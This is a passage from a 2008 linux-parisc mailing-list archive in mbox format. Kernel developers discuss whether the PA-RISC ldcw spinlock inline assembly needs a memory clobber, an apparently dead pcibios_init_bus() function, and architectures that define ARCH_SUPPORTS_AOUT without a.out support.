> > Yes. The asm should clobber memory thus forcing the compiler to avoid
> > memory temporaries.
> 
> It shouldn't need to, since we're only ever accessing one word (the one
> specified in the operand.)
> 
> Otherwise basically every inline asm everywhere ever is going to need a
> memory clobber, and that's just BROKEN.

Carlos' and Helge's point (I think) is that the __ldcw() doesn't clobber
memory, so gcc can cache other things in registers across a call to
__ldcw().  While this is true, our definition of __raw_spin_lock() has
two calls to mb() in it, which is defined to clobber memory.

The only users of __ldcw() are in spinlock.h which has the mb()s in
place.  I don't think there's a problem here.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 18:14:29 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440806161514j16dad9ednb1b5124f52b6f162@mail.gmail.com>
References: <4853E587.9020802@gmx.de>
	 <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
	 <4856D5E4.7090206@gmx.de>
	 <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
	 <20080616215726.GD18358@phobos.i.cabal.ca>
	 <20080616220550.GB28190@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213654489 4864 80.91.229.12 (16 Jun 2008 22:14:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 22:14:49 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>, "Helge Deller" <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	"John David Anglin" <dave.anglin@nrc.ca>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 00:15:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8Myy-00078E-Ja
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 00:15:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757022AbYFPWOd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 18:14:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757023AbYFPWOd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 18:14:33 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.239]:34816 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756976AbYFPWOa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 18:14:30 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so3872599rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 15:14:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=BwEOcOuEGX22An3QjrmWipMYOFQlEHPUG2Q8/m3fV4E=;
        b=rNDYsbRpG61S1e5s/h/CCov7Tzits4lD7XmE3HBgQEzd24AVdCHnhE/R8ZxHtlH5Jd
         hsVg1So9/rdgd4hGNn3SFWXFm2Hh+X2tgiw4DxYmwvF4uBd9bvxaj0+kLsmjbVSOdf1+
         3814HXOKE+5ei1zNs1mODzp4kWiT37yGVtVf8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=vjlm1sWFoux3xoow/q6SlQ9FUptLT+tFGvUbnD6A86SN65qkgpwrllp8hqkBWhaEzM
         oJfMiJe3Ctprs4JRYiSzh2LLaAxbYaLARYjPWE4DpF7DMCMquIL/ekQ89oZRjB/0BcmL
         w7scuVltZTsq1NSnIrrJ91XGRH9K+bLyIxTDY=
Original-Received: by 10.114.159.5 with SMTP id h5mr6981692wae.222.1213654469137;
        Mon, 16 Jun 2008 15:14:29 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Mon, 16 Jun 2008 15:14:29 -0700 (PDT)
In-Reply-To: <20080616220550.GB28190@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: 5b1c893e001ef272
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:411
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/411>

On Mon, Jun 16, 2008 at 6:05 PM, Matthew Wilcox <matthew@wil.cx> wrote:
> The only users of __ldcw() are in spinlock.h which has the mb()s in
> place.  I don't think there's a problem here.

Given:
mb()
__ldcw(a)
mb()

What stops the compiler from doing?

mb()
*stack_slot = *a
reg1 = *stack_slot
reg2 = __ldcw(reg1)
*a = *stack_slot
mb()

Memory is consistent before and after the memory barriers, but the
operation is not atomic?

While this seems stupid, the compile may create a memory temporary to
shuffle things around.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: pcibios_init_bus() isn't called
Date: Mon, 16 Jun 2008 16:41:07 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20080616224107.GA32030@colo.lackof.org>
References: <20080615161327.GC7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213656092 9649 80.91.229.12 (16 Jun 2008 22:41:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 22:41:32 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 00:42:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8NOt-0000zc-BQ
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 00:42:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757062AbYFPWlV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 18:41:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757041AbYFPWlV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 18:41:21 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:55453 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756032AbYFPWlU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 18:41:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C1F3A3381F9;
	Mon, 16 Jun 2008 16:41:18 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01127-03; Mon, 16 Jun 2008 16:41:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EA69D3381F3; Mon, 16 Jun 2008 16:41:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080615161327.GC7865@cs181133002.pp.htv.fi>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:412 gmane.linux.kernel:694671
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/412>

On Sun, Jun 15, 2008 at 07:13:27PM +0300, Adrian Bunk wrote:
> arch/parisc/kernel/pci.c:pcibios_init_bus() never gets called - this
> doesn't seem to be intentionally?

I think this is accidentally abandoned code and introduced here:
    http://lkml.org/lkml/2001/12/22/43

So it was called from pci_do_scan_bus(). Can you track down when this
was removed from pci_do_scan_bus() ?

But it was once used by parisc port:
    http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/037259.html

and then perhaps got removed soon after in the generic code:
    http://www.cs.helsinki.fi/linux/linux-kernel/2003-01/0388.html

But I'm not finding the exact patch that removed it.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 21:56:36 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <119aab440806161856h6133585cpfadb8fe0427e901e@mail.gmail.com>
References: <4853E587.9020802@gmx.de>
	 <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
	 <4856D5E4.7090206@gmx.de>
	 <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
	 <20080616215726.GD18358@phobos.i.cabal.ca>
	 <20080616220550.GB28190@parisc-linux.org>
	 <119aab440806161514j16dad9ednb1b5124f52b6f162@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213667805 3160 80.91.229.12 (17 Jun 2008 01:56:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 01:56:45 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>, "Helge Deller" <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	"John David Anglin" <dave.anglin@nrc.ca>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 03:57:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8QRs-0005Rx-Dr
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 03:57:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753175AbYFQB4i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 21:56:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753180AbYFQB4i
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 21:56:38 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.235]:44786 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753175AbYFQB4h (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 21:56:37 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so3962506rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 18:56:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=nDLpWLqV+sXoFHjWpIlIM7BdCSzgVBHQ81JUjXV8KRM=;
        b=A/K1UHPRhW5OwqgLjSHti1YoELUI+yOiFlhj0m0iDa7h3TWokebpVibokYsQCVhLTr
         of2hy7P91ctiv2+t7BpWVXru/Awoov90UN7K/hiGO76s7CjXylKjwj9b0AkdF4hyEued
         y8zD/dVPUhJlLATzDjmk8TD0Qu7/2PSukYUSc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=A25an5GFPZD/dlYSr4RX62GUbDwrFCR1aw2n921l+693MW0thftuIX4aHEKVijJrJ/
         sEvYMNw0OUqQia7tbmMK6+youOBppLwZFoRDYjXB937oiSSLXeGaAeOXCQAfjduKMBZy
         g6v9g+9QL/H2Ebk16yyWvfsAvuP3uAtxBGUQA=
Original-Received: by 10.114.73.1 with SMTP id v1mr7167226waa.166.1213667796423;
        Mon, 16 Jun 2008 18:56:36 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Mon, 16 Jun 2008 18:56:36 -0700 (PDT)
In-Reply-To: <119aab440806161514j16dad9ednb1b5124f52b6f162@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: c682bc94abdf4bcb
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/413>

On Mon, Jun 16, 2008 at 6:14 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Given:
> mb()
> __ldcw(a)
> mb()
>
> What stops the compiler from doing?
>
> mb()
> *stack_slot = *a
> reg1 = *stack_slot

This is a mistake, and should read:

reg1 = stack_slot

e.g. Copy the address of the stack slot into reg1.

> reg2 = __ldcw(reg1)
> *a = *stack_slot
> mb()
>
> Memory is consistent before and after the memory barriers, but the
> operation is not atomic?
>
> While this seems stupid, the compile may create a memory temporary to
> shuffle things around.

The compiler creates memory temporaries all the times and expects the
optimizers to see that the temporaries are not needed. However,
sometimes the temporaries aren't removed.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 23:34:01 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440806162034m3800b8ebxfc001bbe5e2b4b9a@mail.gmail.com>
References: <4853E587.9020802@gmx.de>
	 <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
	 <4856D5E4.7090206@gmx.de>
	 <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
	 <20080616215726.GD18358@phobos.i.cabal.ca>
	 <20080616220550.GB28190@parisc-linux.org>
	 <119aab440806161514j16dad9ednb1b5124f52b6f162@mail.gmail.com>
	 <119aab440806161856h6133585cpfadb8fe0427e901e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213673658 14836 80.91.229.12 (17 Jun 2008 03:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 03:34:18 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>, "Helge Deller" <deller@gmx.de>,
	linux-parisc@vger.kernel.org,
	"John David Anglin" <dave.anglin@nrc.ca>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 05:35:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8RyB-0003Hu-HB
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 05:34:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752316AbYFQDeE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 23:34:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753542AbYFQDeE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 23:34:04 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.232]:40132 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752316AbYFQDeC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 23:34:02 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so3998008rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 20:34:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=tMgD37sUlyebIYDRwHstjaDu5LD4luPrgxcc3vTaUrc=;
        b=TVbsz9HLfavwnklDO6J7/4W8drdvjfkUsZzXKtGPikPCdX87YRiIzKni1dpKO21mxZ
         jE5PmN49M0N8dSXCBp++zCx9DtM1GKrjcDyoIAMyhnEbILdPJYH62/F22m5WwGGrqnao
         R7M8i4chggN7dqua93I1FhWbA6Er2VhKLNy5M=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=HW3Bc+q8ZWyi8iXjhfkOOsSAgjz4xvsiGl9gGm1X3/DDjuVTzr9bcpZV5KhFSgf02b
         JRm7B7VJ7gPgtIEzj5q5k38RlU740iMuqqVomPExGui89MWbsRyUElhrATAvMyWlZl6O
         rl2QNrQVqt0KlnXX88Ak/yInh9ZZehSZMGuKY=
Original-Received: by 10.114.132.5 with SMTP id f5mr7222621wad.125.1213673641869;
        Mon, 16 Jun 2008 20:34:01 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Mon, 16 Jun 2008 20:34:01 -0700 (PDT)
In-Reply-To: <119aab440806161856h6133585cpfadb8fe0427e901e@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: d726eb9c39b7b8b0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:414
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/414>

On Mon, Jun 16, 2008 at 9:56 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> The compiler creates memory temporaries all the times and expects the
> optimizers to see that the temporaries are not needed. However,
> sometimes the temporaries aren't removed.

It turns out this should never happen because raw_spinlock_t->lock is volatile.

Therefore the memory clobber is not required.

The memory barriers will prevent code from being moved before the lock
or past the unlock.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 11:42:35 +0300
Lines: 47
Approved: news@gmane.org
Message-ID: <20080617084235.GA20169@cs181133002.pp.htv.fi>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213692254 29893 80.91.229.12 (17 Jun 2008 08:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 08:44:14 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 10:44:56 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8Wo8-0003ro-NQ
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 10:44:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755659AbYFQIoB (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 04:44:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754932AbYFQIoB
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 04:44:01 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:58105 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754078AbYFQIn7 (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 17 Jun 2008 04:43:59 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id 563385BC058;
	Tue, 17 Jun 2008 11:43:58 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1213619214.26255.721.camel@pmac.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4013 gmane.linux.kernel:694755 gmane.linux.ports.parisc:415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/415>

On Mon, Jun 16, 2008 at 01:26:54PM +0100, David Woodhouse wrote:
>...
> Actually, I think we can drop the preceding patch too -- it's not
> necessary to fix the regression in 2.6.26, and dhowells suggests that we
> might still want to use ARCH_SUPPORTS_AOUT, by making BINFMT_AOUT depend
> on it instead of that hard-coded list of architectures.
> 
> If we do that, then ARCH_SUPPORTS_AOUT would need to be defined on a
> different set of architectures to the ones it's currently defined on --
> so I don't really want to go there before 2.6.26. I'll push just the
> parts which were included in the mail I just sent.
> 
> Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> sense?

My guess would be that binfmt_aout isn't actually used there.

The affected architectures are:
- h8300
- m32r
- parisc
- sh
- v850

v850 is broken beyond repair, and I hope my patch to remove the 
architecture will make it into 2.6.27.

For the other 4 architectures I have Cc'ed the architecture maintainers.

> dwmw2

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: pcibios_init_bus() isn't called
Date: Tue, 17 Jun 2008 12:01:43 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20080617090143.GB20169@cs181133002.pp.htv.fi>
References: <20080615161327.GC7865@cs181133002.pp.htv.fi> <20080616224107.GA32030@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213693407 1127 80.91.229.12 (17 Jun 2008 09:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 09:03:27 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>,
	ink@jurassic.park.msu.ru
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 11:04:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8X6c-00013a-OW
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 11:03:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751836AbYFQJDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2008 05:03:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751944AbYFQJDI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Jun 2008 05:03:08 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:58956 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750762AbYFQJDH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2008 05:03:07 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id E133F5BC03C;
	Tue, 17 Jun 2008 12:03:05 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20080616224107.GA32030@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:416 gmane.linux.kernel:694759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/416>

On Mon, Jun 16, 2008 at 04:41:07PM -0600, Grant Grundler wrote:
> On Sun, Jun 15, 2008 at 07:13:27PM +0300, Adrian Bunk wrote:
> > arch/parisc/kernel/pci.c:pcibios_init_bus() never gets called - this
> > doesn't seem to be intentionally?
> 
> I think this is accidentally abandoned code and introduced here:
>     http://lkml.org/lkml/2001/12/22/43

As far as I can see this patch never made it into the tree?

Ivan, do you remember details about this?

> So it was called from pci_do_scan_bus(). Can you track down when this
> was removed from pci_do_scan_bus() ?
> 
> But it was once used by parisc port:
>     http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/037259.html
> 
> and then perhaps got removed soon after in the generic code:
>     http://www.cs.helsinki.fi/linux/linux-kernel/2003-01/0388.html
> 
> But I'm not finding the exact patch that removed it.
> 
> thanks,
> grant

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
